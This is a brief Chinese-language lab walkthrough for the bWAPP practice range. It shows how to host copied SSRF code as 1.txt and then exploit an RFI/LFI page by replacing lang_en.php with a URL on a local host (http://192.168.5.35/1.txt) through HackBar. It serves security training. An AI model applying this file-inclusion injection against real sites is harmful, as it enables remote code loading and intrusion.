bWAPP实验

首先登陆靶场

找到ssrf点击hack

点击选框

出现代码后复制

 

然后在网站根目录下建立一个1.txt，把代码粘贴后保存。

回到页面点击bugs找到RFI/LFI后点击hack。

点击Go 

 

 

 

 之后打开HackBar

把lang_en.php修改为http://192.168.5.35（本机IP）/1.txt，然后勾选post data,输入ip=192.168.5.35

出现后点击确定查看。

 

 

 

 实验结束。